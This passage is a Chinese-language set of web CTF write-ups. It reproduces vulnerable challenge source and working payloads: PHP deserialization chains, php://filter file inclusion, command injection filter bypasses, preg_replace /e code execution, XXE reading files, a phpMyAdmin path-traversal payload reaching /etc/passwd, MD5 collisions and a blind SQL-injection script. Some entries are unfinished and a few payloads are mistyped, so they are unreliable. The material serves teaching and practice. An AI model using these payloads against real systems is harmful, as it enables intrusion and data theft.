    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){ //定义了过滤池
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { 
            echo "hacker";//使用正则匹配将过滤池里面的替换成hacker(可以使用反序列化字符串逃逸绕过)
            $this->source = "index.php";//返回到index.php页面
        }
    }
}

class Test{
    public $p;
    public function __construct(){  
        $this->p = array();//创建名为 $p 的索引数组
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);//对传入的参数pop进行反序列化
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

链子:

<?php
//flag is in flag.php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';//利用伪协议包含并读取flag文件
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }
}


\
    
    
    

$a = new Show("self");//可以在__construct中的echo时触发__toString
$a->str = new Test();//可以触发__get
$c = new Show($a);
echo urlencode(serialize($c));

构造链子思路:

构造的关键在于include($value);,我们可以通过他使用php://filter/read=convert.base64-encode/resource=flag.php包含并读取flag.php文件,然后include在function_append中,然后我们可以通过执行function __invoke去调用append函数

function_invoke函数在modifier里面,我们可以利用触发modifier的方法去触发function __invoke,

触发modefier可以通过触发function __get$function();

而触发function __get可以function __toString$this->str->source;

使得str=new Test(),source=xxx.

最后function __toString,可以通过function __constructecho 'Welcome to '.$this->source."<br>";来实现

[RoarCTF 2019]Easy Java

1

WEB-INF/web.xml泄露漏洞及其利用

打开i题目是一个登录窗,暴力破解得到密码是admin888

登录

点击help

提示有help文档下载发现里面什么也没有

然后更改1文件名发现,{}里面内容也会改变

结合题目java猜测可能存在WEB-INF/web.xml泄露

抓包更改请求方法发包

然后我们在响应包里面看见了flag,所以这里是存在泄露的

然后根据WEB-INF文件夹内容所有的class文件都被放在了classes文件夹下,所以直接读取flag

读取成功,发现一段base64编码

ZmxhZ3s4MzJlZTUwYi01MDhhLTQwY2QtOWZkOS02OGU0NTJmOGZkNWV9Cg==

解码:flag{832ee50b-508a-40cd-9fd9-68e452f8fd5e}

ctfshow 七夕杯 web签到

命令执行,重定向读取文件和绕过字符长度限制

打开题目

是命令执行,但是只会执行命令不会回显而且字符长度限制为7

所以构造重定向,将flag文件读入到我们创建的文件里面

nl /*>2 读取根目录下面所有文件并写入到新建的文件2里面

执行命令

访问文件2

得到flag

ctfshow 七夕杯 web easy_calc

打开题目代码审计

f(check($code)){//定义了一个f函数,通过eval函数进行代码执行

    eval('$result='."$code".";");
    echo($result);    
}

function check(&$code){

    $num1=$_POST['num1'];
    $symbol=$_POST['symbol'];
    $num2=$_POST['num2'];

    if(!isset($num1) || !isset($num2) || !isset($symbol) ){
        
        return false;
    }

    if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
        return false;
    }

    if(preg_match("/^[\+\-\*\/]$/", $symbol)){
        $code = "$num1$symbol$num2";
        return true;
    }

    return false;
}

WUSTCTF2020]朴实无华

1

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){  
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){  //定义了num的范围,整数值<2020,加一的整数值要大于2021
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))//对参数md5传进去的值进行MD5加密判断是否和加密前相同
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){ 
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){ //判断$get_flag是否含有空格
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);//把变量里cat 替换成wctf2020
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);//
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?> 
    //intval()函数获取变量的整数值
    //strstr()函数判断参数值里面是否有指定字符
    //str_ireplace()函数对参数值里面的特点字符替换成指定字符
这个题有三层判断,要进行三层绕过
第一层:
intval获取变量整数值,要求小于2020,加一大于2021,这里要对这个intval函数绕过
知识点:intval函数,当函数里面使用的是科学计数法返回科学计数法值前一个数,而函数里面是科学计数法加数字返回科学计数法值
所以这里可以构造:num=2e5
第二层:要求变量MD5加密前后值相同
可以构造md5=0e215962017
第三层:str_ireplace会把cat替换掉,所有我们不能在参数中使用cat
if下面有一个system函数可以执行命令,我们可以构造paylaod:get_flag=ls 查看目录文件
paylaod:num=2e5&md5=0e215962017&get_flag=ls
目录下有fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag文件,flag应该就在这里面
但是cat命令被过滤,但是tac命令可以使用我们这里可以使用tac命令输出flag
构造payload:
num=2e5&md5=0e215962017&get_flag=tac%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
得到flag

打开题目:

访问robots.txt

访问这个文件

显示说flag不在这里,抓包看看

访问得到源码:

出现一堆乱码:

火狐摁Ait键,修复编码

就可以得到源码

然后构造paylaod得到flag

[BJDCTF2020]Mark loves cat

1

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){    
    $$x = $y  ;                
}

foreach($_GET as $x => $y){    
    $$x = $$y;                   
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){  
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){  
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){   
    exit($is);
}



echo "the flag is: ".$flag;
}
第一种解法:
    foreach($_GET as $x => $y){    
    $$x = $$y;                   
}
构造yds=flag
    则$x=yds,$y=flag
    则 $$x=$$y
    即
    $yds=$flag
if(!isset($_GET['flag']) && !isset($_POST['flag'])){  
    exit($yds);
}
这里要求post和get都不能传入参数flag然后exit($yds)会输出$yds并推出
    然后$yds=$flag
    所有这样就可以输出flag
    
 第二种解法:
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){   
    exit($is);
}
 这里是核心,exit($is),会输出$is,那么我们构造出$is=$flag,就可以利用这里输出flag
 而触发这个if的条件是post或者get要传入一个参数flag=flag
 可以get传参中构造flag=flag用于触发这个if
 然后下一步就是构造$is=$flag
 实现这一步的核心在于:
foreach($_GET as $x => $y){    
    $$x = $$y;                   
}
所以传入is=flag
$x=yds
$y=flag
$$X=$$y
就可以构造出$is=$flag
所以整体payload:
is=flag$flag=flag
第三种解法:
?handsome=flag&flag=x&x=flag
foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){  
        exit($handsome);
    }
}
这里是核心
核心代码就是exit($handsome)
目的同样是构造出$handsome=$flag
构造的核心代码还是:
foreach($_GET as $x => $y){    
    $$x = $$y;                   
}
同样是传入handsome=flag
 最终可以构造出$handsome=$flag
但是想要触发exit(handsome)所在区域if
if($_GET['flag'] === $x && $x !== 'flag'){
要传入一个flag参数
结合上面:
$handsome=$flag
所以要想让输出flag
需要使传入的$flag=$flag,但是这里要求$flag=$x
所以我们可以构造$x=$flag
所以我们可以传入x=flag
这里触发for循环,构造出$x=$flag
这样的话也不会触发$x=flag
因为我们最终传入的是$x=$flag
这样整体paylaod:
handsome=flag&flag=x&xflag
就可以得到flag

[BJDCTF2020]ZJCTF,不过如此

1

源码:

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ //
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>
  //file_get_contents() 函数把整个文件读入一个字符串中。  
    
   
next源码:
<?php
$id = $_GET['id']; 
$_SESSION['id'] = $id; //通过$_SESSION变量储存一个id值

function complex($re, $str) { //定义一个函数
    return preg_replace(     //这里进行了一个正则替换
        '/(' . $re . ')/ei',
        'strtolower("\\1")',//
        $str
    );
}
foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}


?\S*=${getflag()}&cmd=show_source(%22/flag%22);

preg_replace('/(S*)/ie','strtolower("${getflag()}")','${getflag()}')
第一部分正则匹配到${getflag()}又因为/e模式,使得${getflag()}被当作php代码执行,执行成功返回1,
strtolower(1)
    show_source() 函数对文件进行语法高亮显示。


题解:
    通过get方式传入text参数,text参数要包含"i have a dream"
    file_get_contents($text,'r')==="I have a dream",
    是以file_get_contents打开test参数,所以这里可以使用data伪协议
    使用data控制输入流
    构造:
    text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=
    第二个参数是file
    这里有一个正则匹配
    pre_match进行匹配,不能在file里面中匹配到flag
    所以不能直接读取flag文件,但是可以构造payload读取next.php
     paylaod:
      text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php
    读取到next源码,base64解码得到
       在next源码中:
        核心代码:
        function complex($re, $str) { //定义一个函数
    return preg_replace(     //这里进行了一个正则替换
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}
这里是我们获得flag的关键函数,我们需要通过这个函数去触发getflag(),通过参数参数cmd进行命令执行,但是要想触发这个函数,需要通过下面代码构造payload
    foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}
  这里的get传参方式不是get(参数)形式,这里传入的参数作为键名,值作为键值。
  在preg_replace()中第一个参数含有/e ,/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
      构造payload:
      ?\S*=${getflag()}&cmd=show_source(%22/flag%22);
分析上面payload触发正则匹配
    preg_replace('/(S*)/ie','strtolower("${getflag()}")','${getflag()}')
第一部分正则匹配到${getflag()}又因为/e模式,使得${getflag()}被当作php代码执行,执行成功返回1,
strtolower(1)
    payload中?\S*是为了能够进行正则匹配,如果用?.*在php中.会被解析为_这样就会导致正则匹配出错,导致无法匹配到可变变量
    通过?\s*=${getflag()}可以使正则匹配到getflag(),把gtflag()当作变量执行,这样就可以调用参数cmd
    
function getFlag(){
	@eval($_GET['cmd']);
}
执行getflag函数进行执行。
    

[GWCTF 2019]我有一个数据库

1

这是phpMyAdmin 4.8.1 远程文件包含漏洞,通过payload可以验证漏洞是否存在

http://xxx:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd(%253f是两次url编码)

http://xxx:8080/index.php?target=db_sql.php%253f/../../../../../../../../flag

[网鼎杯 2020 朱雀组]phpweb

1

?

   <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); //定义了一个黑名单
    function gettime($func, $p) {
        $result = call_user_func($func, $p);//核心代码
        $a= gettype($result); //判断字符类型
        if ($a == "string") {   //判断是否是字符串
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?> 

?

题解:
这道题的核心代码是:
$result = call_user_func($func, $p)
关于call_user_func($func,$p)函数,这个函数是这道题的关键
先看关于这个函数的讲解:
call_user_func — 把第一个参数作为回调函数调用

通过函数的方式回调
例如:
<?php 
function barber($type){
    echo "you wanted a $type haircut, no problem\n";
}
call_user_func('barber','mushroom');
  ?>
  这个call_user_func回调第一个参数作为函数去执行第二个参数,类似构造出barber(mushroom)
  
  所以在这个题目中我们可以让func=system,p=命令
  但是system等大多数执行函数都被过滤了,所以这里我们可以使用反序列化去执行
  操作
  构造序列化paylaod:
  <?php
  class Test{
     var $p="find / -name flag*";
     var $func="system";
     }
     
$a=new Test();
echo serialize($a);
构造func=unserizase&p=序列化后字符串
从而得到flag
还有一种方法绕过黑名单
构造:func=/system

  

打开题目

而且一直在刷新,抓包看看

然后把这两个参数值随便修改了

响应包中出现了一个call_user_func()函数,然后知道这是一个回调函数

构造paylaod发包

[GXYCTF2019]禁止套娃

1

?

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp']) ){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {//对危险字符进行了过滤
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>
题解:
这是个代码审计的题目,有四个if
第一个if
判断是否传入参数exp并赋值
第二个if
对传入参数值进行检测,过滤了data等伪协议一些字符
第三个if
preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']
进行一个正则匹配
 (?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。,引用一次正则则变成了[a-z,_]+[a?z,]+\((?R)?[a?z,]+\((?R)?\),可以迭代下去,那么它所匹配的就是print(echo(1))、a(b(c()));类似这种可以括号和字符组成的,这其实是无参数RCE比较典型的例子
 第四个if
 对传入参数的值进行检查,过滤了et,na,info等字符

当绕过几个正则
 @eval($_GET['exp']);
 eval可以执行代码,但是因为正则过滤的原因,没有办法直接传参进行命令执行
 但是我们可以通过php内置函数去获取flag
 构造payload:
 ?exp=print_r(scandir(pos(localeconv())));

 localeconv()函数:返回一个包含本地数字及货币格式信息的数组。第一个数组是.
 pos():传入数组,回显第一个数组的值,pos可以用current代替
 所以pos(localeconv())等同于.
 scandir():以数组形式回显目录下所有文件,scandir(.)是回显当前目录
 print_r():输出
 然后scandir(.)回显当前目录下文件print_r输出
 所有通过上述payload可以得到当前目录下面的文件
 然后发现了flag文件接下来就是读取flag文件
 读取flag构造payload
 ?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
 highlight_file:highlight_file() : 使用PHP内置的语法高亮器所定义的颜色,打印输出或者返回 filename 文件中语法高亮版本的代码。
 array_reverse() : 将数组中的内容倒序输出
next() : 是指向数组第一个元素的指针指向下一个元素
 
 这里如果还用print_r会输出文件名不会输出文件内容,high.在这里作用类似于cat
 通过第一个payload我们可以得知flag文件在倒数第二个位置
 所有我们可以先使用 array_reverse()函数将数组内容倒序输出,然后现在是指针第一个位置,我们可以听过next函数将指针指向下一个数组,然后就可以输出flag
 

打开题目:

然后我们使用相关工具 githack 进行利用

然后在 githack 的目录中打开这个文件,代码如下:并进行分析

构造payload:?exp=print_r(scandir(pos(localeconv())));

构造payload:?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

[BSidesCF 2020]Had a bad day

1

为协议读取index内容获取源码

?category=php://filter/read=convert.base64-encode/resource=index

<?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){//判断$file中是否出现三个字符串其中之一
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>
题解:
这个源码就比较简单了
第二个if判断传入参数中是否出现woofers,meowers,index其中一个,如果出现其中一个就会在执行$file.php
所以我们可以使用伪协议读取flag
构造payload:
?category=php://filter/read=convert.base64-encode/woofers/resource=flag
                                                  index
                                                  meowers
                                                  

[NCTF2019]Fake XML cookbook

1

xxe

打开题目是一个登录框

但是却不是sql注入漏洞,根据题目提示是xxe

抓包构造paylaoad

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>1</password></user>

得到flag

[安洵杯 2019]easy_web

1

源码:

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img']))); //参数img的解密

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);//将文件名中的一些特殊符号替换为空
if (preg_match("/flag/i", $file)) { 
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));  //将文件base64编码后传到前端
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
题解:
这道题目的核心代码是:
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    }
    一个MD5的强类型,需要是字符来碰撞。
    要求a和b不同但是MD5加密值相同
    构造:
    a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
从而去执行echo '$cmd'
$(cmd)和`cmd`的作用是相同的,在执行一条命令时,会先将其中的 ``,或者是$() 中的语句当作命令执行一遍,再将结果加入到原命令中重新执行,例如:
echo `ls`
会先执行 ls 得到xx.sh等,再替换原命令为:
echo xx.sh

所以我们可以在这里进行命令执行
由于ls等命令都被过滤了,我们这里可以使用dir
dir命令是Windows系统常用的命令。显示目录的文件和子目录的列表
或者使用/绕过检测
构造paylaod
?cmd=dir%20/
?cmd=ca\t%20/flag

[强网杯 2019]高明的黑客

1

打开题目

访问www.tar.gz得到密码文件,

大佬是用脚本扫出来木马文件

import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(30)  							  			#这儿设置最大的线程数
filePath = r"D:\phpstudy_pro\WWW\src"                 #指定文件路径
os.chdir(filePath)													#改变当前工作的路径
requests.adapters.DEFAULT_RETRIES = 5								#设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)                                        #os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表。
session = requests.Session()                                        #创建session对象
session.keep_alive = False											 # 设置连接活跃状态为False
def get_content(file):                                              #用来对单个php文件进行测试的函数
    s1.acquire()
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:							#打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))        #获取文件中包含所有GET型参数的名字的列表
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))      #获取文件中包含所有POST型参数的名字的列表
    data = {}														#所有的$_POST
    params = {}														#所有的$_GET
    for m in gets:                                                  #为所有的get型参数赋值存在字典中
        params[m] = "echo 'xxxxxx';"
    for n in posts:                                                 #为所有的post型参数赋值存在字典中
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/'+file                          #放在自己的www目录下,进行拼接,方便request进行请求
    req = session.post(url, data=data, params=params)			#一次性请求所有的GET和POST
    req.close()												# 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text                                          #获取请求后网页的返回内容

    if "xxxxxx" in content:									#判断phpecho语句是否被执行,如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()												# 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1                                            #表明是get型参数起作用
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()												# 关闭请求  释放内存
                if "xxxxxx" in content:                                 #表明是post型参数起作用
                    break
        if flag == 1:													#flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:															#加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()


但是使用d盾也扫出来很多后门

然后访问这个木马文件

x构造payload:

k0SzyKwfzw.php?Efa5BVG=ls /

[安洵杯 2019]easy_serialize_php

1

继续代码审计

 <?php

$function = @$_GET['f']; //get传参参数f

function filter($img {   //定义了一个对php等字符的过滤
    $filter_arr = array('php','flag','php5','php4','fl1g');//定义了一个黑名单
    $filter = '/'.implode('|',$filter_arr).'/i';//implode把数组元素混合为字符串
    return preg_replace($filter,'',$img);//将匹配到的字符过滤为空
}


if($_SESSION){
    unset($_SESSION);  //unset() 函数用于销毁给定的变量。
} 

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

[BJDCTF 2020]easy_md5

[FBCTF2019]RCEService

1

<?php

putenv('PATH=/home/rceservice/jail');//putenv是用来改变或增加环境变量的内容。

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {  //检测变量是否是字符串
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {//定义了一个正则匹配
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];//这里对输入变量进行了json解密
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

题解:
$cmd = json_decode($json, true)['cmd'];
这段代码是这道题的关键,对输入的变量进行了json解密,所以我们输入的变量要是json形式的,
{"cmd":"ls"}
但是正则匹配过滤了很多东西,所以我们这里要想办法绕过正则匹配


[Zer0pts2020]Can you guess it?

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>
题解:
第一种解法:
这里我们看前半段:
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}
这里的核心代码是: highlight_file(basename($_SERVER['PHP_SELF']));
$_SERVER['PHP_SELF']会回显url地址(payload地址)
例如:http://www.baidu.com/index.php/flag.php
返回的就是/index.php/flag.php
然后我们这里看basename函数
basename() 函数返回路径中的文件名部分。
实例:
<?php
$path = "/testweb/home.php";

//显示带有文件扩展名的文件名
echo basename($path);

//显示不带有文件扩展名的文件名
echo basename($path,".php");
?>
结果:
home.php
home

那第一种方法我们就可以利用这个函数去获取config.php这个文件名,然后使用highlight_file输出文件内容就可以得到flag
但是正则匹配到config.php下面的语句就不能继续执行,所以要想办法绕过这个正则匹配
basename还有一个特性就是会删除获取到的文件名前面或是后门的asciall码值
所以我们可以在config.php后面加一个asciall值造成正则匹配污染
例如构造:config.php/%ff?source
这样basename获取到的文件名是%ff但是basename会把%ff删除掉,所以最终获取到的是config.php就达到了我们想要绕过的目的

第一种解法涉及的知识

大概就是$_SERVER['PHP_SELF'] basename

关于这两个函数:

$_SERVER['PHP_SELF'] 是返回url地址也就是payload

测试代码:

 <?php
highlight_file(__FILE__); 
if (isset($_GET['source'])) {
echo(basename($_SERVER['PHP_SELF']));
  exit();
}
?> 

basename 函数就是获取文件名

测试代码:

 <?php
highlight_file(__FILE__); 
if (isset($_GET['source'])) {
echo($_SERVER['PHP_SELF']);
  exit();
}
?> 

第二种思路:
random_bites:生成适合加密使用的任意长度的加密随机字节字符串
代码:
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
  大概意思就是对64进行随机加密,然后我们传进去的值要和随机加密值相同,这就很离谱了,这里卡着了,一个是有个什么绕过方法
 待补充。。。。。。。


[CISCN2019 华北赛区 Day1 Web2]ikun

1

提示要买到ipv6,但是看了好几个页面都没找到ipv6所以只能写脚本来跑

import requests

for i in range(1,201):
    url='http://4dab904b-159f-45a0-bf6a-441fa36b2427.node4.buuoj.cn:81/shop?page='+str(i)
    result=requests.get(url).content.decode('utf-8')
    if 'lv6.png' in result:
        print(url+'ok')
    else:
        print(url+'no')

[CSCCTF 2019 Qual]FlaskLight

1

?

[SWPUCTF 2021 新生赛]pop

?

[CISCN 2019华北Day2]Web1

异或注入:

脚本:

import requests
import time
import re
url='http://1.14.71.254:28998/index.php'
flag = ''
for i in range(1,50):


    for c in range(0,127):
        
        payload = '0^(ascii(substr((select(flag)from(flag)),' + str(i) + ',1))>' + str(c) + ')'
        r = requests.post(url,data = {'id':payload})
        #print(str(r.content))
        time.sleep(0.005)
        if 'Hello, glzjin wants a girlfriend.' in str(r.content):
          print(i)

        else:
            flag += chr(c)
            print(flag)
            break

[SUCTF 2019]EasyWeb

1

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
